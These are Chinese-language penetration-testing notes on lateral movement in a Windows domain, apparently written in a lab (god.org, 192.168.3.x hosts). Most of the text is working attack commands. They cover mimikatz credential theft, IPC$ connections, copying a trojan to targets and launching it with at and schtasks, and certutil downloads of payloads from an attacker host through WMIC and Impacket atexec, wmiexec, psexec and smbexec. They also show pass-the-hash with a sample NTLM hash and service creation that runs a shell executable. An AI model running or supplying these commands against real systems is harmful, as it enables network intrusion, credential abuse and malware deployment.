流程:
进入域主机=> A 192.168.43.xx 192.168.3.xx =>提权
常规信息类(应用&服务&权限) => systeminfo ipconfig /all net time /domain
架构信息类(网络&用户&域控) => net user /domain net localgroup administrators
关键信息类(密码&凭证&口令) => win->mimikatz linux->mimipenguin
扫描端口内容=>需高权限 proxychain+nmap
工具: adfind,bloodhound,cs插件
IPC 139 445 WMIC 135 psTool 445 SMB 445
补:
-内网穿透:解决网络控制上线&网络通讯问题
SPP&NPS&FRP&Ngrok集合
-隧道技术:解决不出网协议上线的问题(利用出网协议进行封装出网)
ICMP DNS域名解析 ssh smb
-代理技术:解决网络通讯不通的问题(利用跳板机建立节点后续操作)
proxifier sockscap proxy chains(linux)
总结:
IPC 通信机制 启用文件和打印机共享 不同进程或不同计算机之间进行通信和数据交换 139 445
MIC PC机制 用于不同进程之间的通信 135
PSTOOL SMB服务 445
SMB 一种网络通信协议 445
基础信息获取
判断域控 shell net time /domain
定位域控 shell ping god.org
域控成员信息 net user /domain
扫描端口内容=>需高权限 proxychain+nmap
获取密码=>hash
攻击机运行=>需要代理
上传文件到跳转机->运行
IPC 139 445
WMIC 135
psTool 445
SMB 445
系统自带
impacket套件
IPC
是什么?
IPC是专用管道,可以实现对远程计算机的访问,
IPC(Inter-Process Communication):IPC是一种在操作系统或网络环境巾,用于不同进程或不同计算机之间进行通信和数据交换的机制。攻击者可以利用IPC通信机制,在内网中的不同主机之间传递恶意代码或执行命令,从而在目标网络中实现横向移动。
服务如何开?
控制面板--网络和共享中心--配置高级共享设置--启用文件和打印机共享--到指定目录下去设置共享权限
如何用服务实现移动?
需要使用目标系统用户的账号密码,使用139、445端口。
1,建立IPC链接到目标主机
2,拷贝要执行的命令脚本到目标主机
3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
4.删除IPC链接
常用命令
net use查看
net use \\ip\ipc$"password" /user:username #工作组
net use \\ip\ipcs "password"/user:domain\username #域内
例如 net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\dbadmin
net view ip 查看文件共享
dir \\ip\\C$\
shell net use * /delete /yes #删除连接
手工
连接测试
木马上线准备
传输木马/运行上线
拷贝木马文件到目标机器 需要高权限
copy 1.exe \\192.168.3.32\C$\
copy sql.exe \\192.168.3.32\C$\
利用at命令上线(低版本 windows低于2012)
#添加计划任务运行指定程序
at \\<指定IP><指定时间>c:\木马
at \\192.168.3.31 1:45 c:\sql.exe
利用schtasks命令上线(低版本 windows低于2012)
其中192.168.3.32为目标ip Administrator为目标用户名 Admin12345为目标密码 beacona为计划任务名 c:\sql.exe为计划任务执行程序路径
#创建beacon任务对应执行文件
schtasks /create /s 192.168.3.32 /u Administrator /p "Admin12345" /ru "SYSTEM" /tn beacona /sc DAILY /tr c:\sql.exe /F
#运行beacon任务
shell schtasks /run /s 192.168.3.32 /u Administrator /p "Admin12345" /tn beacona /i
#删除beacon任务
schtasks /delete /s 192.168.3.32 /u Administrator /p "Admin12345" /tn beacona /f
正向连接=>同上 (上传木马到跳板机=>复制到靶机=>at命令执行木马=>connect ip port)
插件LSTARS
用法与手工同样cs
Impacket(atexec)
该工具是一个半交互的工具,适用于Webshell下,Socks代理下;
在渗透利用中可以收集用户名、明文密码、密码hash、远程主机等做成字典,批量测试
py版
python3 -m pip install impacket
密码连接
python atexec.py <用户名有域名需填域名>:<密码>@<IP>"<要执行的命令>"
python atexec.py god.org/administrator:Admin12345@192.168.3.32 "whoami"
hash连接
python atexec.py -hash:<hash值> ./administrator@192.168.3.21 "whoami"
exe版本
将atexec.exe文件上传到跳板机
shell atexec.exe /administrator:Admin12345@192.168.3.21 "whoami"
上线*
上传木马到网页=>下载木马=>执行木马
https://forum.ywhack.com/bountytips.php?download
1.上传木马文件aa.exe到靶机网页 C:\inetpub\wwwroot
2.将上方whoami替换为以下 =>下载木马 C:\Windows\System32
certutil.exe -urlcache -split -f http://192.168.3.31:80/aa.exe bb.exe
3.执行木马 whoami直接替换为bb.exe
MIC
MIC(Microsoft Windows Inter-Process Communication):MIC是Microsoft windows操作系统中的一种PC机制,用于不同进程之间的通信。攻击者可以通过利用MIC漏洞或弱点,将恶意代码注入到其他进程中,并在内网中传播和横向移动。
wmic(单执行无回显)
WMIC是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,
并且该方法不会在目标日志系统留下痕迹。
下载:
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/sql.exe c:/mic.exe"
运行:
wmic /node:192.168.3.32 /user:administrator /password:Admin12345 process call create "cmd.exe /c c:/mic.exe"
cscript(修复无回显)
这个无法在CS里面去用。因为回显的靶机cd窗口等待你的命令传输时。CS会卡死
需要能与跳板机桌面交互=>wmiexec.vbs
cscript //nologo c:/wmiexec.vbs /shell 192.168.3.32 administrator Admin12345
Impacket(wmiexec)
cs无法运行?=>攻击机使用proxifier代理 使用
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
下载木马
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c certutil.exe -urlcache -split -f http://192.168.3.31/sql.exe c:/113.exe"
运行木马
wmiexec ./administrator:admin!@#45@192.168.3.32 "cmd.exe /c c:/113.exe"
psTool
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
PSTOOL(Sysinternals PsTools):PSTOOL是一套由sysinternals开发的windows系统管理工具集合,其中包括多个命令行实用程序。这些工具提供了许多功能,包括远程执行命令、进程管理和文件传输等。攻击者可以使用PSTO0L来在内网中执行命令、控制远程主机和传输恶意文件,以实现横向移动和攻击。
psTool(win官方自带)
无法代理=>需要管理员权限以及桌面交互
psexec64 \\192.168.3.32\ -u administrator -p admin!@#45 -s cmd
套件Impacket(psexec)
有回显,可hash,可以代理
后可直接接命令 ""
明文
psexec ./administrator:admin!@#45@192.168.3.32
hash
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
cs插件(psexec)
目标列表=>需要上线的主机=>横向移动(psexec)=>监听器为跳板监听器|会话选择跳板ip system
SMB
利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放。
SMB(Server Message B1ock):SMB是一种网络通信协议,用于在计算机网络中共享文件、打印机和其他资源。攻击者可以通过利用SMB协议的弱点,执行远程命令和文件共享,从而在内网中移动和传播恶意软件。
services内置利用:(单执行)
1.创建服务
services -hashes 518b98ad4178a53695dc997aa02d455c ./administrator:@192.168.3.32 create name shell -display shellexec -path C:\windows\System32\shel1.exe
2,启动服务
services -hashes 518b98ad4178a53695dc997aa02d455c./administrator:@192.168.3.32 start name shell
impacket(smbexec)
smbexec ./administrator:admin!@#45@192.168.3.32
